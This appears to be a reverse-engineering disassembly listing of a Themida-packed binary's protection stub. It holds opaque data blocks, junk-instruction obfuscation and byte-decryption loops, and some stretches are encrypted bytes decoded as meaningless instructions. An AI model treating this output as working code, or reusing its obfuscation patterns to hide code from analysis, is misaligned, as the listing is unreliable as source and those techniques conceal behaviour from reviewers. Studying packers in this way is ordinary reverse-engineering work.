		dd 0DC62D4Dh, 86598E81h, 0AF3AA7F3h, 86E330DFh,	20D9987Dh
		dd 2AE5AB6Eh, 8FF800BFh, 0EC4DF188h, 0C8DF4EE1h, 8AF647h
		dd 6AFDB3B7h, 6A3380Ah,	41496050h, 47E40846h, 4F972A35h
		dd 48460F44h, 0DBEA92C7h, 6DA26D22h, 26BB079Ah,	4807EEF7h
		dd 0F8F20240h, 55A2AD49h, 0C0A5AE9Fh, 0CC434801h, 0B7EC236Bh
		dd 0DAE251E4h, 49F44968h, 4E174C57h, 0E982CF40h, 2AAB6AA5h
		dd 3C6E3588h, 0E578BBh,	0C9B29BE8h, 9A1B52F5h, 0CDD9F19h
		dd 0E1E9A803h, 0B62508A6h, 0EB37CAD5h, 0BBD48DF6h, 0DEB0C154h
		dd 434BE431h, 0C1CE97CCh, 3A16BC90h, 31921922h,	0A87BB05Fh
		dd 503F083Dh, 0CCC18ABFh, 4B450E43h, 0F6EB2FC4h, 2CB5A1E1h
		dd 0F542CDC1h, 0A8DD325Ch, 3E1h, 34224B00h, 0BBF01F72h
		dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
		dd 0CF040B84h, 568B8406h, 0DB10FF8Dh
		db 0D4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, 616F3A4h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, eax
		mov	[esi+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 4Bh,	0ECh, 48h
		dd 3E2379AAh
; ---------------------------------------------------------------------------


loc_5CB408:				; CODE XREF: Themida_:loc_5CAE79j
		mov	eax, 616F89Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F6h, 80h, 60h
		dd 0E1035819h, 194B0A6Bh, 61415635h, 8A8D351h, 0FBC31179h
		dd 0F1CD0117h, 0BEC5592Bh, 0BD9F3B7Ah, 7ABEB453h, 0CAC7124Bh
		dd 0FEA88749h, 3E7E105Bh, 0F3D0B94Ah, 0F8458150h, 0F65F437Fh
		dd 1F715324h, 0E24D1F0Dh, 0FD754360h, 90F3D16Fh, 65858D3Dh
		dd 52061200h, 905BFE8Bh, 0FE8h,	0F37F8000h, 74061455h
		dd 0C4740D47h, 0C8547E02h, 0F33DBF66h, 8A51505Fh, 0F905FDCh
		dd 1884h, 0BE96000h, 7D000000h,	0B1CAC38h, 0CFAE309Ah
		dd 8D8B7FB0h, 61225E9h,	0AE961h, 40760000h, 0C2A1AA40h
		dd 0C15CDA2Eh, 6AF9006Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 643689C1h
		dd 0DAB8F90Eh, 858938C6h, 61227EDh, 0FB81858Dh,	6A0616h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D02500C3h, 0E4529341h, 53BE7C24h, 28A5B589h, 895F0612h
		dd 1226A195h, 5C08306h,	20C9BD8Bh, 66500612h, 489DE8Bh
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 867350B0h, 56EF815Fh, 6A19F3C7h,	0E3816600h
		dd 6A363Ah, 19E59D8Bh, 95FF0612h, 6120B55h, 619D89h, 0B7510612h
		dd 8D8D5FA4h, 6159BCAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 63C35747h, 80E99D6Dh,	0D1FFADE7h, 81B58B60h
		dd 51061223h, 0F9B0E381h, 615B35B0h, 0EE9BD83h,	0F010612h
		dd 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9D8BC81Eh, 61233F5h, 6A026Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0A8484AC3h, 0BF0F651Dh, 0DF8B50F8h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0BBD4C352h, 883C27Eh, 5FD88B51h, 11852960h, 52061227h
		dd 12E9h, 4D94F000h, 102EF86Ch,	0BF467806h, 8BC9A41Eh
		dd 5A5D0D26h, 0D595FF61h, 5706122Ch, 0E95BD98Bh, 0F16h
		dd 0E8h, 0ED815D00h, 616FB8Bh, 88A0Fh, 1500000h, 1231F585h
		dd 8E95B06h, 92000000h,	0B8DFBC2Bh, 8D9F8B50h, 15968F85h
		dd 0F7816606h, 509016E9h, 0FE9h, 0CBAEA00h, 1AEE9CA0h
		dd 32B532D6h, 4BFA1BD2h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0FF64AF3Fh, 35h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BAFE1295h, 2831BD33h, 89640612h, 25h, 69BD8B00h, 0FF061208h
		dd 12123585h, 0A59D8B06h, 6A061214h, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 2EE38C81h
		dd 8B1E5C49h, 122119BDh, 0A59D0306h, 0FF061225h, 1232E5B5h
		dd 12E806h, 9C600000h, 58AE83AEh, 0E4BBD292h, 609D1AEFh
		dd 0B87F7F1Ch, 2935BD8Bh, 0FF5B0612h, 12147595h, 148E906h
		dd 0BD230000h, 612245Dh, 0CE900B0h, 46000000h, 0D059949Ch
		dd 0BE10A15h, 0E6561CA9h, 6850F70h, 8B000000h, 123029BDh
		dd 0B771E406h, 159D8BCAh, 3C061234h, 0F830F61h,	0E8000001h
		dd 0Bh,	10073029h, 48B5D039h, 0FAB969Dh, 589h, 0FBF9BF00h
		dd 0F5B3A00h, 0DBBC8B6h, 0BA2DC01Bh, 6,	0BF35DB81h, 0C18B0FA5h
		dd 34519D8Bh, 0E8C10612h, 0DB50904h, 66061200h,	0B70FE2F7h
		dd 0FC82BFEh, 178Eh, 0BE800h, 0D0680000h, 615E6D8Ah, 44C325C5h
		dd 0BDB58971h, 5B061223h, 0BD8BD18Bh, 61212B9h,	9DE9h
		dd 0FD9D0100h, 66061233h, 8B26A2BBh, 554C5085h,	6E847h
		dd 32E20000h, 38A6AEE9h, 835BFA8Bh, 8F0F07C0h, 0
		db 83h,	0C0h, 0
; ---------------------------------------------------------------------------
		mov	ebx, ecx
		cmp	edx, eax
		jnb	loc_5CB854
		jmp	loc_5CB8B2
; ---------------------------------------------------------------------------
		mov	[ebp+612345Dh],	ebx


loc_5CB854:				; CODE XREF: Themida_:005CB843j
		mov	ecx, [ebp-1]
		push	edx
		jnp	loc_5CB867
		mov	edi, [ebp+6121785h]


loc_5CB867:				; CODE XREF: Themida_:005CB85Bj
		pop	ebx
		and	ecx, 1
		jz	loc_5CB8B2
		movzx	ebx, cx
		and	dword ptr [ebp-1], 0FFFFFFFEh
		jmp	loc_5CB888
; ---------------------------------------------------------------------------
		dd 6EDA5061h, 0DC299A3Ah
; ---------------------------------------------------------------------------


loc_5CB888:				; CODE XREF: Themida_:005CB87Bj
		or	[ebp+6122B29h],	eax
		mov	[ebp+47554C50h], edx
		push	edx
		jge	loc_5CB8AC
		jmp	loc_5CB8AC
; ---------------------------------------------------------------------------
		dd 2793C4B3h, 4CBDB3EEh, 732D60D4h
; ---------------------------------------------------------------------------


loc_5CB8AC:				; CODE XREF: Themida_:005CB895j
					; Themida_:005CB89Bj
		pop	edi
		jmp	$+5


loc_5CB8B2:				; CODE XREF: Themida_:005CB849j
					; Themida_:005CB86Bj
		lea	esi, [ebp+6167492h]
		push	0
		push	ecx
		call	sub_5CB8C3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB8C3	proc near		; CODE XREF: Themida_:005CB8BBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx


loc_5CB8D1:				; CODE XREF: Themida_:005CB907j
		push	ecx
		retn
sub_5CB8C3	endp

; ---------------------------------------------------------------------------
		xor	al, 46h
		mov	bl, 95h
		cld
		push	0
		mov	ebx, 7CC9AC8Ch
		call	dword ptr [ebp+61229D1h]
		push	0
		push	eax
		call	sub_5CB8F0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB8F0	proc near		; CODE XREF: Themida_:005CB8E8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5CB8F0	endp

; ---------------------------------------------------------------------------
		mov	ds:0F427C9D8h, al
		inc	ecx
		dec	edi
		jg	short loc_5CB8D1
		mov	edi, [ebp+6121199h]
		mov	ecx, 1057h
		mov	edi, eax
		and	ecx, 0FFFFFFFCh
		push	0
		push	edi
		call	sub_5CB924
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB924	proc near		; CODE XREF: Themida_:005CB91Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CB924	endp

; ---------------------------------------------------------------------------
		dd 0B172FDAEh, 56F0FF30h, 6AFC39h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0D18C2FC3h, 0B8h, 0B5BD0100h
		dd 0BA061225h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CB977
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB977	proc near		; CODE XREF: Themida_:005CB96Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CB977	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		shl	dword ptr [esi-45h], 0Eh
		pusha


loc_5CB98D:				; CODE XREF: Themida_:005CB997j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CB98D
		mov	[ebp+6121AD1h],	edx
		push	0
		push	eax
		call	sub_5CB9AA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB9AA	proc near		; CODE XREF: Themida_:005CB9A2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CB9AA	endp

; ---------------------------------------------------------------------------
		sal	esi, cl
		xor	al, 5Ch
		sbb	ebx, [ebx+ebx*2+0B7BCBA5h]
		popf
		frstor	byte ptr [edi]
		adc	al, [esi]
		or	eax, 88h
		push	0
		push	ecx
		call	sub_5CB9DA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB9DA	proc near		; CODE XREF: Themida_:005CB9D2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CB9DA	endp

; ---------------------------------------------------------------------------
		dw 0A0EFh
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_5CBA00
; ---------------------------------------------------------------------------
		dw 6383h
		dd 459362E1h, 0CE87A01Dh, 7282FAC0h
; ---------------------------------------------------------------------------


loc_5CBA00:				; CODE XREF: Themida_:005CB9EDj
		mov	edx, [ebp+6122DCDh]
		mov	[ebp+6122C89h],	ebx
		mov	ecx, [ebp+61231BDh]
		mov	di, 321h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		call	loc_5CBA41
		rcl	byte ptr [esi-15h], cl
		iret
; ---------------------------------------------------------------------------
		db 0B7h, 95h, 0E8h
		dd 2047F138h, 0D3DB537Fh, 73F2EE04h
		db 0A8h
; ---------------------------------------------------------------------------


loc_5CBA41:				; CODE XREF: Themida_:005CBA28p
		jmp	loc_5CBA55
; ---------------------------------------------------------------------------
		dw 3243h
		dd 0E8F43020h, 0CF0B2F61h, 92AC46D7h
		db 0BEh
; ---------------------------------------------------------------------------


loc_5CBA55:				; CODE XREF: Themida_:loc_5CBA41j
		pop	ebx
		and	edi, [ebp+61226CDh]
		cmp	dword ptr [ebp+6121419h], 0
		jz	loc_5CBAC5
		mov	edi, ecx
		mov	eax, 0
		call	sub_5CBA87
		cld
		lock lodsd
		mov	ch, 3
; ---------------------------------------------------------------------------
		dw 0CC8Eh
		dd 3E5A1909h, 27A76B04h
		db 72h,	3, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_5CBA87	proc near		; CODE XREF: Themida_:005CBA70p
		mov	[ebp+61218D1h],	ebx
		pop	ebx
		lea	ecx, [ebp+6124E4Bh]
		push	0
		push	ebp
		call	sub_5CBA9F
		and	[ebp-3Dh], bl
sub_5CBA87	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CBA9F	proc near		; CODE XREF: sub_5CBA87+10p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CBA9F	endp

; ---------------------------------------------------------------------------
		sub	ebx, 0FFFFFFBAh
		and	esi, [ecx-74599089h]
		mov	ebp, 61215B5h
		jmp	ecx
; ---------------------------------------------------------------------------
		and	ebx, 8A91BF4h


loc_5CBAC5:				; CODE XREF: Themida_:005CBA63j
		cmp	dword ptr [ebp+6120011h], 0
		jz	loc_5CC077
		push	0
		push	edx
		call	sub_5CBADD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBADD	proc near		; CODE XREF: Themida_:005CBAD5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5CBADD	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0BBB0h
		dd 0B90C6982h, 0F56DB45h, 185h,	835FF900h, 120011BDh, 840F0106h
		dd 586h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	0CAC35646h, 69331021h, 66D38193h, 83239AE3h, 120011BDh
		dd 860F0306h, 51Ch, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0FBC35242h, 1D3AC373h, 0FD71108Fh, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0FBB9475h, 8B551E73h, 1229419Dh, 0D98C6606h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D0C35242h, 51F4585h
		dd 0C618759h, 4E18031h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 90C35040h, 628975F2h,	585896Bh, 0A061209h
		dd 0D0840FC9h, 57000001h, 8B5BDF8Bh, 1224CD85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1C91520Eh, 0E80E25BEh, 7E97CCBh, 0D4000000h,	568C5E3Eh
		dd 11E9F1BDh, 0FB000000h, 9D788C7h, 0D220C422h,	7278D211h
		dd 0D0861AFEh, 248D8533h, 0DF810612h, 48BD4149h, 23F19589h
		dd 0BF900612h, 33F86E00h, 9E850h, 6B5A0000h, 0F77A1C2Dh
		dd 0E9F5CB3Fh, 0Fh, 37766282h, 89FED335h, 991FE9E5h, 5B18B0D2h
		dd 14E990h, 29FF0000h, 0A638574Fh, 0C3B5112h, 0B2BC50F3h
		dd 65AD161h, 0BD8961E2h, 61217D1h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F5162DC3h
		dd 0D97C35A6h, 8147ADDAh, 644327C7h, 758D8943h,	68061213h
		dd 0E3BC2B87h, 14E9h, 9509A000h, 5257994Ah, 8945F780h
		dd 0CA93B992h, 36C690C5h, 2404818Bh, 1C62D878h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3DC35242h, 95FFFDA5h
		dd 6123031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	2AC35646h, 3F98405Eh, 0A92A0E2h, 0BD0C8589h, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 690E54C3h, 27019589h, 13E90612h, 2F000000h, 1709120Eh
		dd 48C00C5Ah, 1F276A3Eh, 2FB81437h, 4EE90CD8h, 6A000002h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E8F7C352h, 7, 64DDC776h,	9C5D42Fh, 12039D95h
		dd 8E95B06h, 23000000h,	4349AFF8h, 8BF963DBh, 15BD0485h
		dd 2DBD2906h, 0E9061213h, 6, 86E19FEAh,	0C7092Dh, 18h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F3C35242h
		dd 98FD8CFBh, 0BB918B52h, 0E18D897Dh, 8B061213h, 15BD08B5h
		dd 24EF8006h, 10E9h, 0E4E18D00h, 1E84B9EDh, 8004643h, 0DD8D0FC7h
		dd 99858BA2h, 89061223h, 121DB1BDh, 53068906h, 0C64CBF66h
		dd 0CD858B5Fh, 6A061224h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4A8FC353h, 3FA23D6Bh
		dd 0E7B7418Ch, 8B82DB80h, 12087DBDh, 9DBD8B06h,	89061232h
		dd 20BB0446h, 50643B12h, 7C5ABF66h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8C85C356h, 0EA0CEA7h, 0BD8B12FDh, 6121605h, 0BD04B5FFh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 61D750C3h, 1DF19D8Bh, 0BD890612h,	6120EE5h
		dd 0A4DB6268h, 98BB66BBh, 24048148h, 447A289Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 0D0E4CEC3h
		dd 5E9h, 0DC2F1C00h, 8A0F5136h,	6, 3D8D09h, 0BD090612h
		dd 61215B5h, 0BD0C858Dh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1DD4A7C3h, 0B9BCEDF9h
		dd 6050FA95h, 0E9F88B66h, 6, 0CBF4431h,	8961FB37h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 7F4104C3h, 93FF09CAh, 0FE9h,	3144000h, 1B0B2B5Fh, 92ED1F5Dh
		dd 2827FD55h, 303195FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 69FCA4C3h, 0C56BF2F6h
		dd 0E1BD8B57h, 8B061231h, 1233759Dh, 6A6106h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F78069C3h
		dd 1185C7F1h, 3061200h,	8B000000h, 1225BD9Dh, 0CBD8306h
		dd 615BDh, 56840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0B6CD4FC3h, 45CF6957h
		dd 0EDB1BB91h, 9D8B5BA9h, 6122585h, 3EE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0F8621A8h, 7FB3DBBFh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5CC077:				; CODE XREF: Themida_:005CBACCj
					; Themida_:005CC08Ej
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CC077
		jmp	short loc_5CC0AD
; ---------------------------------------------------------------------------


loc_5CC092:				; CODE XREF: Themida_:005CC0A9j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CC092
		jmp	short $+2


loc_5CC0AD:				; CODE XREF: Themida_:005CC090j
		mov	eax, eax
		push	0
		push	edx
		call	sub_5CC0BA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC0BA	proc near		; CODE XREF: Themida_:005CC0B2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5CC0BA	endp

; ---------------------------------------------------------------------------
		cmpsd
		push	edx
		jo	short loc_5CC13F
		pop	ebp
		or	ebx, 7F5873Ch
		push	0
		push	eax
		call	sub_5CC0E0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC0E0	proc near		; CODE XREF: Themida_:005CC0D8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5CC0E0	endp

; ---------------------------------------------------------------------------
		ja	short loc_5CC15F
		cmp	dword ptr [ebp+6120011h], 3
		jnz	loc_5CC53F
		jg	loc_5CC119
		call	sub_5CC116
		fimul	word ptr [ecx+2AEFF485h]
		inc	edi
		sal	eax, cl
		fimul	dword ptr [esi]
		xlat

; =============== S U B	R O U T	I N E =======================================



sub_5CC116	proc near		; CODE XREF: Themida_:005CC105p

; FUNCTION CHUNK AT 005CC53F SIZE 00000005 BYTES

		mov	edi, esi
		pop	ebx


loc_5CC119:				; CODE XREF: Themida_:005CC0FFj
		jmp	loc_5CC126
; ---------------------------------------------------------------------------
		dw 0AA3Dh
		dd 0DCF3D89Ch
; ---------------------------------------------------------------------------
		fcmovbe	st, st(2)


loc_5CC126:				; CODE XREF: sub_5CC116:loc_5CC119j
		cmp	dword ptr [ebp+615BD0Ch], 0
		jz	loc_5CC53F
		push	0
		push	ebp
		call	sub_5CC13E
		and	[ebp-3Dh], bl
sub_5CC116	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CC13E	proc near		; CODE XREF: sub_5CC116+20p

arg_4		= dword	ptr  8

		pop	ebp


loc_5CC13F:				; CODE XREF: Themida_:005CC0CCj
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5CC13E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0ED62h
		dd 1A55BD8Bh, 66F50612h, 0FCB4EB81h
		db 0FFh, 0B5h, 0Ch
; ---------------------------------------------------------------------------


loc_5CC15F:				; CODE XREF: Themida_:005CC0F0j
		mov	ebp, 95FF0615h
		sub	[eax], esp
		adc	al, [esi]
		push	0
		push	ebp
		call	sub_5CC173
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC173	proc near		; CODE XREF: Themida_:005CC16Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CC173	endp

; ---------------------------------------------------------------------------
		db 3
		dd 0E563A767h, 7542B4EBh, 0C57BBB66h, 0BD00B58Bh, 6C70615h
		dd 10001h, 10E9h, 0A3C62700h, 8487C613h, 0BD10CB5Ch, 9845245Bh
		dd 3D8D890Ah, 96061221h, 50DE8B66h, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 9757045Ah
		dd 85097D39h, 612150Dh,	1C7D9D8Bh, 0B5FF0612h, 615BD0Ch
		dd 0AE852h, 98710000h, 151B896h, 9D519C99h, 11E8h, 687C2E00h
		dd 0B045EC6h, 9EB7B242h, 583849E2h, 5F5F27ECh, 0E195FF5Fh
		dd 6A06121Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 6614C357h, 6154E381h, 0BD00B58Bh
		dd 8E90615h, 47000000h,	7E778AB2h, 8BC79277h, 12303985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8D897C1Dh, 6122225h, 2F45BD89h, 86890612h
		dd 0C4h, 8BFA8B66h, 122DCD95h, 56006A06h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 95B9BCEDh
		dd 0F2B5C781h, 0C28333FCh, 0BD895304h, 61211D1h, 2050895Fh
		dd 12518D89h, 858D0612h, 615D0EAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0DAC35040h,	8A40B2F5h, 0B88689FEh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E80CC355h, 0A26DC649h, 8BE73E0Fh
		dd 122DF99Dh, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0EE11C355h,	66219D75h
		dd 26FFDF81h, 0BD0CB5FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 70C4F2C3h, 0D595FF33h
		dd 6A06122Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 68C9C356h, 0F526096h, 8Ah, 0BB665800h
		dd 506117B5h, 6A96F98Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FF6AC352h,	15BD0CB5h
		dd 0FFDE8B06h, 122E2995h, 99BD8B06h, 83061210h,	121189BDh
		dd 840F0006h, 4Bh, 5E950F9h, 93000000h,	0D1561823h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0AD0EC356h, 2132AAB3h, 660E3568h,	8B0FF98Bh
		dd 0Bh,	5890Fh,	81660000h, 669B1AC7h, 0FF676BBBh, 15BD0CB5h
		dd 0DB816606h, 95FFBF10h, 6122AA5h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 4AC35747h, 843C03C3h, 15BD8BF3h
		dd 0FF06121Bh, 15BD0CB5h, 8E0F6006h, 3,	89CF8B66h, 120EC59Dh
		dd 95FF6106h, 6121BB1h,	5E8h, 3411DC00h, 0BD8B0551h, 6121759h
		dd 41BD835Bh, 206122Ah,	74840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29ED54C3h
		dd 8B783B6Dh, 1218A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 1A17C968h, 25FD9D8Bh
		dd 0C60612h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0DA8B663Dh, 43D9D2Bh, 85C70612h
		dd 6120301h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CC527
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC527	proc near		; CODE XREF: Themida_:005CC51Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5CC527	endp

; ---------------------------------------------------------------------------
		db 75h
		dd 1F40BBFEh
		db 96h,	0C5h, 0D4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CC116


loc_5CC53F:				; CODE XREF: Themida_:005CC0F9j
					; sub_5CC116+17j
		jmp	near ptr dword_5CB414+2F7h
; END OF FUNCTION CHUNK	FOR sub_5CC116
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CC54F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC54F	proc near		; CODE XREF: Themida_:005CC547p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CC54F	endp

; ---------------------------------------------------------------------------
		pop	es
		db	67h
		mov	ebx, 0ACF5F4FBh
		jmp	short loc_5CC5E5
; ---------------------------------------------------------------------------
		dd 0A19589DBh, 8B061202h, 0EF8166C1h, 858D3830h, 6120065h
		dd 17599D33h, 0E8500612h, 9, 161C69B2h,	0DDFEBFE6h, 0F98B5095h
		dd 4895F5Bh, 6850F24h, 8B000000h, 1232719Dh, 8A006A06h
		dd 6A006ADDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
